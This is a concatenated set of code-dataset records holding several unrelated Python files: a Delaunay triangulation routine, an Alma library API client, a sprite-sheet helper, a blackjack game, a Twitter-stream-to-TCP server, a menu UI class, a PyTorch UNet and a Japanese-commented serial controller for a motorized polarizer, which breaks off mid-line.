point_set:\n if same_point_test(p, a) or same_point_test(p, b):\n continue \n\n ap = subtract(p, a)\n\n angle = get_angle(ab, ap)\n\n if angle < 180:\n flag = False\n break\n\n return flag\n\n\n\ndef Delaunay_recursive_actor(point_set):\n if len(point_set) == 2:\n edges = [[point_set[0], point_set[1]]]\n #show_progress(edges) \n return edges\n\n if len(point_set) == 3:\n edges = [[point_set[0], point_set[1]], [point_set[0], point_set[2]], [point_set[1], point_set[2]]] \n #show_progress(edges)\n return edges\n\n\n left_point_set = point_set[:len(point_set)/2]\n right_point_set = point_set[len(point_set)/2:]\n\n \n\n left_edges = Delaunay_recursive_actor(left_point_set)\n right_edges = Delaunay_recursive_actor(right_point_set)\n\n merged_edges = left_edges+right_edges \n\n\n #try to fine bottommost LR edge\n y_sorted_left_points = sorted(left_point_set, key=lambda x:x[1])\n y_sorted_right_points = sorted(right_point_set, key=lambda x:x[1])\n\n left_idx = right_idx = 0\n lr_edge = None\n\n #print \"now we'll try to find bottommost edge.\"\n\n lr_edge_found = False\n\n for lp in y_sorted_left_points:\n if lr_edge_found:\n break\n\n for rp in y_sorted_right_points:\n possible_lr_edge = [lp, rp]\n #print \"got one possible_lr_edge.\"\n #color_edge(possible_lr_edge, 'green')\n\n flag = True\n for edge in merged_edges:\n #print \"checking intersection against a merge edge.\"\n #color_edge(edge, 'white')\n #color_edge(edge, 'red')\n\n\n if edge_intersect_test(edge, possible_lr_edge):\n #print \"intersection found. we'll stop this checking.\"\n #color_edge(possible_lr_edge, 'black')\n flag = False\n break\n\n if not flag:\n continue\n\n if check_bottomedge(possible_lr_edge, point_set):\n #print \"check_bottomedge checking says good, this will be our bottommost edge.\"\n lr_edge = possible_lr_edge\n lr_edge_found = True\n break\n else:\n #print 'though no intersection with any edges, this is not a real bottom.'\n #color_edge(possible_lr_edge, 'black')\n pass\n \n\n\n #print '-'*10\n\n\n \n if lr_edge == None:\n #print 'fuck. bottom lr not found.'\n return merged_edges\n\n\n merged_edges.append(lr_edge)\n #show_progress(merged_edges)\n\n #print \"good. we got our bottommost edge yet. now, let try to merge them further.\"\n\n #print 'now, we try to find next lr_edge'\n while lr_edge != None:\n #print 'the current lr_edge is in green'\n #color_edge(lr_edge, 'green')\n\n #try to fine more LR edges\n lr_right_point = lr_edge[1]\n lr_left_point = lr_edge[0]\n\n #print \"lr_left_point\" \n #color_point(lr_left_point, \"yellow\")\n #print 'lr_right_point'\n #color_point(lr_right_point, \"blue\")\n\n #color_point(lr_left_point, \"red\")\n #color_point(lr_right_point, \"red\")\n\n\n sorted_right_point_set_with_angles = get_sorted_candidates(lr_right_point, lr_left_point, right_point_set, merged_edges)\n sorted_right_point_set_with_angles = sorted_right_point_set_with_angles[::-1]\n sorted_left_point_set_with_angles = get_sorted_candidates(lr_left_point, lr_right_point, left_point_set, merged_edges)\n \n #print \"let's try to find a right_side_candidate\"\n #start from the right side\n right_side_candidate = None\n for p_a_idx in range(len(sorted_right_point_set_with_angles)):\n p_a = sorted_right_point_set_with_angles[p_a_idx]\n p = p_a[0]\n\n angle = p_a[1]\n \n #print \"the point we are seeing is in white.\"\n #print \"angle in degrees: \", angle\n #color_point(p, \"white\")\n \n if angle <= 180:\n #print \"it is less than 180 degrees when look upward. we will ignore it\"\n #color_point(p, \"red\")\n break\n\n if p_a_idx+1 >= len(sorted_right_point_set_with_angles):\n #print 'this is the last one. we will pick it'\n #color_point(p, \"red\")\n right_side_candidate = p\n break\n\n next_p_a = sorted_right_point_set_with_angles[p_a_idx+1]\n next_p = next_p_a[0]\n\n\n #print \"the next point we will see is in yellow.\"\n #color_point(next_p, \"yellow\")\n \n\n if not inside_circumcircle(lr_left_point, lr_right_point, p, next_p):\n #print 'next_p is not an interior of current p. current p is good. we will pick it'\n #color_point(p, 'red')\n #color_point(next_p, 'red')\n right_side_candidate = p\n break\n else:\n #print 'next_p IS an interior of current p. current p is NOT good. we won\\'t pick it. and we gonna delete the line between p and lr_right_point'\n #color_point(p, 'red')\n #color_point(next_p, 'red')\n \n\n target_edge = [lr_right_point, p]\n to_delete_idx = None\n for rr_idx in range(len(merged_edges)):\n rr_edge = merged_edges[rr_idx]\n if smae_edge_test(target_edge, rr_edge):\n to_delete_idx = rr_idx\n break\n if to_delete_idx != None:\n #color_edge(merged_edges[to_delete_idx], 'black')\n del merged_edges[to_delete_idx]\n\n\n\n #print \"let's try to find a left_side_candidate\"\n #then the left side\n left_side_candidate = None\n for p_a_idx in range(len(sorted_left_point_set_with_angles)):\n p_a = sorted_left_point_set_with_angles[p_a_idx]\n p = p_a[0]\n angle = p_a[1]\n \n #print \"the point we are seeing is in white.\"\n #print \"angle in degrees: \", angle\n #color_point(p, \"white\")\n\n if angle >= 180 or angle == 0:\n\n #print \"it is less than 180 degrees when look upward. we will ignore it\"\n #color_point(p, \"red\")\n break\n\n\n if p_a_idx+1 >= len(sorted_left_point_set_with_angles):\n #print 'this is the last one. we will pick it'\n #color_point(p, \"red\")\n left_side_candidate = p\n break\n\n next_p_a = sorted_left_point_set_with_angles[p_a_idx+1]\n next_p = next_p_a[0]\n\n #print \"the next point we will see is in yellow.\"\n #color_point(next_p, \"yellow\")\n\n #print lr_right_point, lr_left_point, p, next_p\n if not inside_circumcircle(lr_right_point, lr_left_point, p, next_p):\n #print 'next_p is not an interior of current p. current p is good. we will pick it'\n #color_point(p, 'red')\n #color_point(next_p, 'red')\n left_side_candidate = p\n break\n else:\n #print 'next_p IS an interior of current p. current p is NOT good. we won\\'t pick it. and we gonna delete the line between p and lr_right_point'\n #color_point(p, 'red')\n #color_point(next_p, 'red')\n\n target_edge = [lr_left_point, p]\n to_delete_idx = None\n for ll_idx in range(len(merged_edges)):\n ll_edge = merged_edges[ll_idx]\n if smae_edge_test(target_edge, ll_edge):\n to_delete_idx = ll_idx\n break\n if to_delete_idx != None:\n #color_edge(merged_edges[to_delete_idx], 'black')\n del merged_edges[to_delete_idx]\n\n\n\n\n\n if left_side_candidate == None:\n if right_side_candidate == None:\n #print 'no candidates! merge done!'\n #color_edge(lr_edge, 'red')\n break;\n else:\n #print 'only right_side_candidate shows up. we will take it.'\n lr_edge = [lr_left_point, right_side_candidate]\n merged_edges.append(lr_edge)\n #show_progress(merged_edges)\n elif right_side_candidate == None:\n #print 'only left_side_candidate shows up. we will take it.'\n lr_edge = [left_side_candidate, lr_right_point]\n merged_edges.append(lr_edge)\n #show_progress(merged_edges)\n else:\n #print 'two candidates! yah! lets choose the best!'\n if not inside_circumcircle(lr_left_point, lr_right_point, left_side_candidate, right_side_candidate):\n #print 'right_side_candidate is out of the circumcircle by the othrers, so left_side_candidate is a good one. we take left_side_candidate, '\n lr_edge = [left_side_candidate, lr_right_point]\n merged_edges.append(lr_edge) \n #show_progress(merged_edges)\n else:\n #print 'right_side_candidate is NOT out of the circumcircle by the othrers, so left_side_candidate is NOT a good one. we take right_side_candidate, '\n \n lr_edge = [lr_left_point, right_side_candidate]\n merged_edges.append(lr_edge)\n #show_progress(merged_edges)\n \n return merged_edges\n\n\n\ndef Delaunay_triangulation(input_points):\n def cmp_func(a, b):\n if a[0] == b[0]:\n return a[1] - b[1]\n else:\n return a[0] - b[0]\n\n input_points = sorted(input_points, cmp=cmp_func)\n \n\n edges = Delaunay_recursive_actor(input_points)\n ###print 'input_points:'\n ###print input_points\n return edges\n\n\ndef edges_to_triangels(raw_edges):\n edges = raw_edges[:]\n triangles = []\n\n while len(edges) != 0:\n now_edge = edges.pop()\n\n if same_point_test(now_edge[0], now_edge[1]):\n continue\n\n ##color_edge(now_edge, 'green')\n\n p1 = now_edge[0]\n p2 = now_edge[1]\n\n for e1 in edges:\n pp1 = None\n if same_point_test(e1[0], p1):\n pp1 = e1[1]\n elif same_point_test(e1[1], p1):\n pp1 = e1[0]\n\n if pp1 != None:\n\n ##color_edge(e1, 'white')\n\n for e2 in edges:\n pp2 = None\n if same_point_test(e2[0], pp1):\n pp2 = e2[1]\n elif same_point_test(e2[1], pp1):\n pp2 = e2[0]\n\n if pp2 != None and same_point_test(pp2, p2):\n ##color_edge(e2, 'yellow')\n v1 = now_edge[0]\n v2 = now_edge[1]\n\n for vv in e1:\n if not same_point_test(vv, v1) and not same_point_test(vv, v2):\n v3 = vv\n break \n triangles.append([v1, v2, v3])\n\n return triangles\n\ndef locate_p_in_a_set(point_set, p):\n for i in range(len(point_set)):\n now_p = point_set[i]\n if same_point_test(p, now_p):\n return i\n\n\ndef assign_triangles_id(triangles, point_set):\n to_return = []\n for t in triangles:\n p1 = t[0]\n p2 = t[1]\n p3 = t[2]\n\n tid = [0, 0, 0]\n tid[0] = locate_p_in_a_set(point_set, p1)\n tid[1] = locate_p_in_a_set(point_set, p2)\n tid[2] = locate_p_in_a_set(point_set, p3) \n\n\n to_return.append([t, tid])\n return to_return\n\ndef get_triangle_pairs(src_triangles, dst_points):\n to_return = []\n\n for t1 in src_triangles:\n t2 = []\n for idx in t1[1]:\n t2.append(dst_points[idx])\n\n to_return.append([t1[0], t2[:]])\n\n return to_return","sub_path":"test/test/full_test/v2/Delaunay_triangulation.py","file_name":"Delaunay_triangulation.py","file_ext":"py","file_size_in_byte":15650,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"118757470","text":"import requests\n\nclass AlmaClient(object):\n def __init__(self, alma_region, api_key):\n if alma_region is None:\n raise Exception(\"No alma api endpoint\")\n if api_key is None:\n raise Exception(\"No alma api key\")\n self.alma_region = alma_region\n self.api_key = api_key\n self.api_endpoint = '{}/almaws/v1'.format(self.alma_region)\n\n def alma_get(self, resource):\n '''\n peforms a get request and returns json or raises an error\n '''\n r = requests.get(resource)\n if r.raise_for_status():\n raise Exception(r.raise_for_status())\n else:\n return(r.json())\n\n def get_user(self, user_id):\n '''\n gets a single user as json or raises an error\n '''\n resource_url = '{}/users/{}?apikey={}&format=json'.format(self.api_endpoint,\n user_id,\n self.api_key)\n return self.alma_get(resource_url)\n\n def all_users(self, limit=100, links_only=False, source_institution=None):\n '''\n generator if yu want to get all users in IZ\n '''\n resource_url = '{}/users?apikey={}&format=json&limit={}'.format(self.api_endpoint,\n self.api_key,\n limit)\n offset = 0\n page_cursor = 0\n total_cursor = 0\n users_response = self.alma_get(resource_url)\n total_record_count = users_response['total_record_count']\n #return(users_response['user'])\n while total_cursor < total_record_count:\n for user in users_response['user']:\n if total_cursor <= total_record_count:\n yield user\n total_cursor += 1\n page_cursor += 1\n if page_cursor == limit:\n users_response = self.alma_get(resource_url + '&offset=' + str(total_cursor))\n page_cursor = 0\n\n","sub_path":"almatools.py","file_name":"almatools.py","file_ext":"py","file_size_in_byte":2153,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"133529731","text":"import pygame\n\ndef spriteSheetToList( sourceImage, numberColumns):\n imageList = []\n sourceRect = sourceImage.get_rect()\n spriteWidth = sourceRect.width / numberColumns\n spriteHeight = sourceRect.height\n\n for columns in range(numberColumns):\n subImage = sourceImage.subsurface(pygame.Rect((spriteWidth*columns,0),\n (spriteWidth,spriteHeight)))\n imageList.append(subImage)\n\n return imageList\n","sub_path":"scripts/spriteSheetToList.py","file_name":"spriteSheetToList.py","file_ext":"py","file_size_in_byte":475,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"74162375","text":"#!/usr/bin/env python3\n\"\"\"\nAuthor : ssteiche\nDate : 2019-03-26\nPurpose: Play the game of blackjack\n\"\"\"\n\nimport argparse\nimport sys\nfrom itertools import product\nimport random\n\n# --------------------------------------------------\ndef get_args():\n \"\"\"get command-line arguments\"\"\"\n parser = argparse.ArgumentParser(\n description='\"Blackjack\" cardgame',\n formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n\n parser.add_argument(\n '-s',\n '--seed',\n help='Random seed',\n metavar='int',\n type=int,\n default=None)\n \n parser.add_argument(\n '-p', '--player_hits', help='A boolean flag', action='store_true')\n\n parser.add_argument(\n '-d', '--dealer_hits', help='A boolean flag', action='store_true')\n\n return parser.parse_args()\n\n# --------------------------------------------------\ndef warn(msg):\n \"\"\"Print a message to STDERR\"\"\"\n print(msg, file=sys.stderr)\n\n\n# --------------------------------------------------\ndef die(msg='Something bad happened'):\n \"\"\"warn() and exit with error\"\"\"\n warn(msg)\n sys.exit(1)\n\n\n# --------------------------------------------------\ndef main():\n \"\"\"Make a jazz noise here\"\"\"\n args = get_args()\n seed = args.seed\n phit = args.player_hits\n dhit = args.dealer_hits\n\n if not seed == None:\n random.seed(seed)\n\n suits = list(['♥', '♠', '♣', '♦'])\n numbers = list(['2','3','4','5','6','7','8','9','10', 'J', 'Q', 'K', 'A'])\n deck = list(product(suits, numbers))\n\n lookup = {'2':2,'3':3,'4':4,'5':5,'6':6,'7':7,'8':8,'9':9,'10':10,'J':10,'Q':10,'K':10,'A':1}\n\n deck.sort()\n random.shuffle(deck)\n\n pc1 = deck.pop()\n dc1 = deck.pop()\n pc2 = deck.pop()\n dc2 = deck.pop()\n \n if phit == True:\n pc3 = deck.pop()\n pval = lookup[pc1[1]]+lookup[pc2[1]]+lookup[pc3[1]]\n #print('P [{:2}]: {}{} {}{} {}{}'.format(pval,pc1[0],pc1[1],pc2[0],pc2[1],pc3[0],pc3[1]))\n else:\n pval = lookup[pc1[1]]+lookup[pc2[1]]\n #print('P [{:2}]: {}{} {}{}'.format(pval,pc1[0],pc1[1],pc2[0],pc2[1]))\n \n if dhit == True:\n dc3 = deck.pop()\n dval = lookup[dc1[1]]+lookup[dc2[1]]+lookup[dc3[1]]\n #print('D [{:2}]: {}{} {}{} {}{}'.format(dval,dc1[0],dc1[1],dc2[0],dc2[1],dc3[0],dc3[1]))\n else:\n dval = lookup[dc1[1]]+lookup[dc2[1]]\n #print('D [{:2}]: {}{} {}{}'.format(dval,dc1[0],dc1[1],dc2[0],dc2[1]))\n \n if dhit == True:\n print('D [{:2}]: {}{} {}{} {}{}'.format(dval,dc1[0],dc1[1],dc2[0],dc2[1],dc3[0],dc3[1]))\n else:\n print('D [{:2}]: {}{} {}{}'.format(dval,dc1[0],dc1[1],dc2[0],dc2[1]))\n \n if phit == True:\n print('P [{:2}]: {}{} {}{} {}{}'.format(pval,pc1[0],pc1[1],pc2[0],pc2[1],pc3[0],pc3[1]))\n else:\n print('P [{:2}]: {}{} {}{}'.format(pval,pc1[0],pc1[1],pc2[0],pc2[1]))\n \n if dval > 21:\n print('Dealer busts.')\n sys.exit(0)\n if pval > 21:\n print('Player busts! You lose, loser!')\n sys.exit(0) \n if dval == 21:\n print('Dealer wins!')\n sys.exit(0)\n if pval == 21:\n print('Player wins. You probably cheated.')\n sys.exit(0) \n if dval < 18:\n print('Dealer should hit.')\n if pval < 18:\n print('Player should hit.')\n\n# --------------------------------------------------\nif __name__ == '__main__':\n main()\n","sub_path":"assignments/10-blackjack/blackjack.py","file_name":"blackjack.py","file_ext":"py","file_size_in_byte":3405,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"395825408","text":"from tweepy import OAuthHandler\nfrom tweepy import Stream\nfrom tweepy.streaming import StreamListener\nimport socket\nimport json\nimport time\nimport Logger\nimport Constants\nimport credentials.twitter_credentials as tc\nimport random\n\n\ndef set_up_tcp_connection(log):\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Create a socket object\n host = Constants.TCP_IP # Get local machine name\n port = Constants.port_number # Reserve a port for your service.\n s.bind((host, port)) # Bind to the port\n log.info(\"Listening on port: %s\" % str(port))\n return s\n\n\ndef set_twitter_authentication(log):\n log.info(\"Twitter Authentication has been setup successfully\")\n consumer_key = tc.consumerKey\n consumer_secret = tc.consumerSecret\n access_token = tc.accessToken\n access_secret = tc.accessTokenSecret\n auth = OAuthHandler(consumer_key, consumer_secret)\n auth.set_access_token(access_token, access_secret)\n return auth\n\n\nclass TweetsListener(StreamListener):\n\n def __init__(self, csocket):\n super().__init__()\n self.client_socket = csocket\n\n def on_data(self, data):\n try:\n s = self.client_socket\n s.listen(5) # Now wait for client connection.\n c, addr = s.accept() # Establish connection with client.\n\n print(\"Received request from: \" + str(addr))\n\n msg = json.loads(data)\n\n hashtags = \" \"\n if msg['entities'] is not None:\n if msg['entities']['hashtags'] is not None:\n for hashtag in msg['entities']['hashtags']:\n hashtags = hashtags + \" \" + hashtag['text']\n\n s_data = msg['id_str'] + ' ~@ ' + \\\n msg['text'].replace('\\n', '') + ' ~@ ' + \\\n str(random.choice([0, 1])) + ' ~@ ' + \\\n str(random.choice([\"Business & Finance\", \"Criminal Justice\", \"Health Care\",\n \"Policy and Politics\", \"Science & Health\"])) + ' ~@ ' + \\\n str(hashtags) + ' ~@ ' + \\\n str(random.choice(['cancer', 'flu', 'aids', 'cholera', 'diabetes']))\n\n print(s_data.encode('utf-8'))\n\n c.send(s_data.encode('utf-8'))\n c.close()\n except BaseException as e:\n print(\"Error on_data: %s\" % str(e))\n return True\n\n def on_error(self, status):\n print(status)\n return True\n\n\ndef get_track_list(log, filepath):\n log.info(\"Preparing the track list\")\n track_list = []\n with open(filepath) as fp:\n line = fp.readline()\n while line:\n line = fp.readline()\n track_list.append(line.strip('\\n'))\n return track_list\n\n\nif __name__ == \"__main__\":\n start_time = time.time()\n log_file = Logger.LoggerFile()\n logger = log_file.set_logger_file('Twitter Streaming to TCP',\n Constants.spark_content_classification_log_file_name)\n\n socket_object = set_up_tcp_connection(logger)\n twitter_auth = set_twitter_authentication(logger)\n\n twitter_stream = Stream(twitter_auth, TweetsListener(socket_object))\n twitter_stream.filter(track=get_track_list(logger, Constants.stop_words_path))\n","sub_path":"Phase2/spark_streaming/server-2.py","file_name":"server-2.py","file_ext":"py","file_size_in_byte":3251,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"436435885","text":"class UserInterface:\r\n \"\"\"A user interface with which other classes can communicate with\r\n the user.\r\n \"\"\"\r\n\r\n def __init__(self):\r\n pass\r\n\r\n def ask_user(self, message: str) -> str:\r\n \"\"\"Asks the user something and returns the user input.\r\n Args:\r\n message (str): The question asked to the user\r\n Returns:\r\n str: What the user inputs as the answer to the question\r\n\r\n \"\"\"\r\n return input(\"\\n\" + message + \"\\n> \")\r\n\r\n def notify_user(self, message: str) -> None:\r\n \"\"\"Prints a message to the user.\r\n Args:\r\n message (str): The message printed to the user\r\n\r\n \"\"\"\r\n print(message)\r\n\r\n def choose_menu(self, heading: str, menu: dict) -> None:\r\n \"\"\"Prints a menu and runs the function of the chosen menu option.\r\n Args:\r\n heading (str): The menu heading\r\n menu (dict): A nested dictionary in which each menu option\r\n has a label (which will be printed for the user to see)\r\n and a function (without the parenthesis) that will run\r\n if the user chooses that menu option.\r\n\r\n The nested dictionary must be modeled as followed:\r\n nested_dict = {\r\n 1: {\r\n \"label\": \"\",\r\n \"func\": FUNC\r\n }\r\n }\r\n The nested dictionaries must have numeric names in ascending\r\n order, as there is a validation check for numeric values within\r\n the range of the length of the dictionary.\r\n When the user chooses a correct menu option, its \"func\" value\r\n will be inserted in the function below (which has parenthesis\r\n appended to it).\r\n menu[choice][\"func\"]()\r\n \"\"\"\r\n\r\n self.notify_user(heading)\r\n\r\n # Prints menu by iterating through the dict\r\n\r\n for i in menu:\r\n self.notify_user(f\"{i}. {menu[i]['label']}\")\r\n print(\"##########################################\")\r\n\r\n while True:\r\n try:\r\n choice = int(self.ask_user(\"Choose a menu option\").strip())\r\n # .strip() removes starting and ending spaces\r\n\r\n if choice in range(1, len(menu) + 1):\r\n # Runs the function of the chosen menu option\r\n menu[choice][\"func\"]()\r\n return False\r\n\r\n else:\r\n self.notify_user(\"The number you input isn't among the menu options.\")\r\n\r\n except ValueError:\r\n self.notify_user(\"Only numbers allowed!\")\r\n","sub_path":"python_pc_to_surface/utils/userinterface.py","file_name":"userinterface.py","file_ext":"py","file_size_in_byte":2629,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"230876100","text":"import torch\nimport torch.nn as nn\n\nclass DoubleCNN(nn.Module):\n def __init__(self, ch_in=1, ch_out=1):\n super().__init__()\n self.dCNN=nn.Sequential(nn.Conv2d(ch_in,ch_out,kernel_size=3,padding=1),nn.BatchNorm2d(ch_out),nn.ReLU(inplace=True),nn.Conv2d(ch_out,ch_out,kernel_size=3,padding=1),nn.BatchNorm2d(ch_out),nn.ReLU(inplace=True))\n def forward(self,out):\n return self.dCNN(out)\n\nclass UNet_LR(nn.Module):\n def __init__(self):\n super(UNet_LR,self).__init__()\n self.c1=DoubleCNN(1,64)\n self.c2=DoubleCNN(64,128)\n self.c3=DoubleCNN(128,256)\n self.c4=DoubleCNN(256,512)\n self.cm1=DoubleCNN(512,1024)\n self.cm2=nn.Sequential(nn.Conv2d(1024,1024,kernel_size=1,padding=2),nn.BatchNorm2d(1024),nn.ReLU(inplace=True))\n self.cm3=DoubleCNN(1024,512)\n self.c5=DoubleCNN(512,256)\n self.c6=DoubleCNN(256,128)\n self.c7=DoubleCNN(128,64)\n self.c8=DoubleCNN(64,1)\n self.DownSampling=nn.MaxPool2d(2,2)\n self.UpSampling=nn.Upsample(scale_factor=2,mode='bilinear',align_corners=True)\n def forward(self,out):\n out=self.c1(out) # 1x64\n out=self.DownSampling(out) # Image size W/2 H/2\n out=self.c2(out) # 64x128\n out=self.DownSampling(out) # Image size W/4 H/4\n out=self.c3(out) # 128x256\n out=self.DownSampling(out) # Image size W/8 H/8\n out=self.c4(out) # 256x512\n out=self.DownSampling(out) # Image size W/16 H/16\n out=self.cm1(out) # 512x1024\n out=self.cm2(out) # 1024x1024\n out=self.UpSampling(out) # Image size W/8 H/8\n \n out=self.cm3(out) # 1024x512\n out=self.c5(out) # 512x256\n \n out=self.UpSampling(out) # Image size W/4 H/4\n out=self.c6(out) # 256x128\n out=self.UpSampling(out) # Image size W/2 H/2\n out=self.c7(out) # 128x64\n out=self.UpSampling(out) # Image size W H\n out=self.c8(out) # 64x1\n return out\n","sub_path":"models/models42.py","file_name":"models42.py","file_ext":"py","file_size_in_byte":2175,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"15144916","text":"import serial\n\n\"\"\"\nControl the automatic polarizer holder with Python\n(自動偏光子ホルダーをPythonで制御する)\n\ncontroller: OptoSigma, GSC-01 (シグマ光機,1軸ステージコントローラ GSC-01)\npolarizer holder: TWIN NINES, PWA-100(ツクモ工学,自動偏光子ホルダーφ100用 PWA-100)\n\nNOTE:\nツクモ光学の自動偏光子ホルダーは,シグマ光機の1軸ステージコントローラから動かすことが出来ます.\nこのステージコントローラをコンピュータから動かすには,シリアル通信(UART)と呼ばれる非同期な通信で命令コマンドを送信します.\nシリアル通信は古くから使われており,RS-232Cといった専用のインタフェースが必要になります.最近のコンピュータでは,このインタフェースを搭載しているものはほとんどありません.そのため,USBからRS-232Cに変換するアダプタを使用します.\nシリアル通信を実行する方法はいくつかありますが,pythonから実行する場合はpySerial(https://github.com/pyserial/pyserial)を利用するのが良いと思います.\nこのプログラムは,主要な命令コマンドを送信するために,直感的に扱いやすいラッパーを提供しています.\n\"\"\"\n\nclass AutoPolarizer:\n def __init__(self, port=None, baudrate=9600, bytesize=serial.EIGHTBITS, parity=serial.PARITY_NONE, stopbits=serial.STOPBITS_ONE, timeout=None, xonxoff=False, rtscts=False, write_timeout=None, dsrdtr=False, inter_byte_timeout=None):\n \"\"\"\n コンストラクタの引数は全て,pyserialのserial.Serial()の引数に対応します.\n \"\"\"\n self.ser = serial.Serial(port, baudrate, bytesize, parity, stopbits, timeout, xonxoff, rtscts, write_timeout, dsrdtr, inter_byte_timeout)\n \n # 1パルスで移動する角度(固定値)\n self.degree_per_pulse = 0.060 # [deg/pulse]\n\n # ステージを動かしたときに待つかどうかのフラグ\n self.is_sleep_until_stop = True\n \n # ステージの向きを反転させるかどうかのフラグ\n # 向きによって回転角度が反転するため,このフラグで補正する\n self.flip_front = False\n\n def __del__(self):\n \"\"\"\n ステージとのシリアル接続を終了します.\n \"\"\"\n try:\n self.ser.close()\n except AttributeError:\n pass\n \n def raw_command(self, cmd):\n \"\"\"\n 生のコマンドを送信する.基本的には直接呼び出さない.\n 成功すると\"OK\",失敗すると\"NG\"がコントローラ側から送られてくる.そこで,\"OK\"はTrue,\"NG\"はFalseと変換して返す.\n 例外として,\"OK\"や\"NG\"以外の文字列が送られてきた場合は,そのままの文字列を返す.\n\n cmd : str\n コマンドの内容は,GSC-01の取扱説明書を参考にすること.\n \"\"\"\n self.ser.write(cmd.encode())\n self.ser.write(b\"\\r\\n\")\n return_msg = self.ser.readline().decode()[:-2] # -2: 文字列に改行コードが含まれるため,それ以外を抜き出す.\n return (True if return_msg==\"OK\" else\n False if return_msg==\"NG\" else\n return_msg)\n\n def reset(self):\n \"\"\"\n 機械原点復帰命令を送信します.\n \"\"\"\n ret = self.raw_command(\"H:1\")\n if self.is_sleep_until_stop: self.sleep_until_stop()\n return ret\n\n def jog_plus(self):\n \"\"\"\n +方向にジョグ運転を行います.\n 実行すると動き続けるので,停止する場合は停止命令(stop())を実行してください.\n \"\"\"\n ret = self.raw_command(\"J:1+\")\n if ret==False: return False\n return self.raw_command(\"G:\")\n \n def jog_minus(self):\n \"\"\"\n -方向にジョグ運転を行います.\n 実行すると動き続けるので,停止する場合は停止命令(stop())を実行してください.\n \"\"\"\n ret = self.raw_command(\"J:1-\")\n if ret==False: return False\n return self.raw_command(\"G:\")\n \n def stop(self, immediate=False):\n \"\"\"\n 停止命令を実行します.\n 停止命令には,減速停止命令と即停止命令があります.\n 引数immediateでどちらを実行するか指定出来ます(通常使用では減速停止命令で良いと思います).\n\n immediate : bool\n Falseなら減速停止命令,Trueなら即停止命令を行います.\n \"\"\"\n return (self.raw_command(\"L:1\") if immediate==False else\n self.raw_command(\"L:E\"))\n\n def is_stopped(self):\n \"\"\"\n ステージ移動状況を返送させる命令を実行します.\n Ready状態(停止している)ならTrue,Busy状態(動いている)ならFalseを返します.\n \"\"\"\n return_msg = self.raw_command(\"!:\")\n return (True if return_msg==\"R\" else #Ready\n False if return_msg==\"B\" else #Busy\n return_msg)\n\n def sleep_until_stop(self):\n \"\"\"\n ステージが停止するまで待ちます.\n \"\"\"\n while not self.is_stopped(): pass\n \n def set_speed(self, spd_min=500, spd_max=5000, acceleration_time=200):\n \"\"\"\n 速度設定命令を実行します.\n 速度には3つのパラメータがあり,全て一括で設定します.\n (個別で設定したいところですが,対応する命令がないのでこのようになっています)\n\n spd_min : int\n 最小速度,設定範囲:100~20000(単位:PPS)\n\n spd_max : int\n 最大速度,設定範囲:100~20000(単位:PPS)\n\n acceleration_time : int\n 加減速時間,設定範囲:0~1000(単位:mS)\n \"\"\"\n return self.raw_command(\"D:1S{0}F{1}R{2}\".format(spd_min, spd_max, acceleration_time))\n \n @property\n def degree(self):\n \"\"\"\n 現在のステージの回転角度を返します.\n \"\"\"\n deg = self._position2degree(self._get_position())\n if self.flip_front==True: deg = 360 - deg\n return deg\n\n @degree.setter\n def degree(self, deg_dst):\n \"\"\"\n ステージを指定した角度に動かします.\n\n deg_dst : float\n 移動させる角度(絶対位置)\n\n NOTE: \n ステージを回転させる際,回転方向を限定させています.つまり,一方の方向にしか回転せず逆方向には回転しないということです.\n このような仕様にしているのは,ステージにリミットセンサがあるためです.リミットセンサを検出した場合,ステージは強制的に停止します.この強制停止には回転方向依存があり,停止する方向と,しない方向があります.\n 強制停止はさせたくないので,リミットセンサに引っかからない方向だけに,回転するようにしています.\n \"\"\"\n deg_src = self.degree\n deg_dst %= 360\n if self.flip_front==True:\n deg_src = 360 - deg_src\n deg_dst = 360 - deg_dst\n position = self._degree2position((deg_dst-deg_src)%360)\n self._set_position_relative(position)\n \n def _set_position_relative(self, position):\n \"\"\"\n 相対移動パルス数設定命令と駆動命令を実行します.\n \n position : int\n ステージ位置(移動パルス数)\n \"\"\"\n sign = \"+\" if position>=0 else \"-\"\n ret = self.raw_command(\"M:1\"+sign+\"P\"+str(abs(position)))\n if ret==False: return False\n ret = self.raw_command(\"G:\")\n if self.is_sleep_until_stop: self.sleep_until_stop()\n return ret\n \n def _set_position_absolute(self, position):\n \"\"\"\n 絶対移動パルス数設定命令と駆動命令を実行します.\n \n position : int\n ステージ位置(移動パルス数)\n \"\"\"\n sign = \"+\" if position>=0 else \"-\"\n ret = self.raw_command(\"A:1\"+sign+\"P\"+str(abs(position)))\n if ret==False: return False\n ret = self.raw_command(\"G:\")\n if self.is_sleep_until_stop: self.sleep_until_stop()\n return ret\n \n def _get_position(self):\n \"\"\"\n ステータス確認1命令を実行し,現在の座標値を取得します.\n \n NOTE: 失敗することがあったので,tryで回避するようにしてforで何度か見るようにしています.\n \"\"\"\n for i in range(5):\n return_msg = self.raw_command(\"Q:\")\n try: return int(return_msg.split(\",\")[0].replace(\" \", \"\"))\n except: continue\n\n def _degree2position(self, deg):\n \"\"\"\n 角度(度)からステージ位置(移動パルス数)に変換します.\n\n deg : float\n 角度(度)\n \"\"\"\n return int(deg/self.degree_per_pulse)\n\n def _position2degree(self, position):\n \"\"\"\n ステージ位置(移動パルス数)から角度(度)に変換します.\n\n position : int\n ステージ位置(移動パルス数)\n \"\"\"\n return (position%(360.0/self.degree_per_pulse)) * self.degree_per_pulse\n\ndef main():\n import argparse\n parser = argparse.ArgumentParser()\n parser.add_argument(\"degree\", type=int, help=\"polarizer angle [deg]\")\n parser.add_argument(\"-p\", \"--port\", type=str, default=\"/dev/tty.usbserial-FTRWB1RN\", help=\"srial port name\")\n parser.add_argument(\"-r\", \"--reset\", action=\"store_true\", help=\"determines whether to perform a reset\")\n args = parser.parse_args()\n \n #command 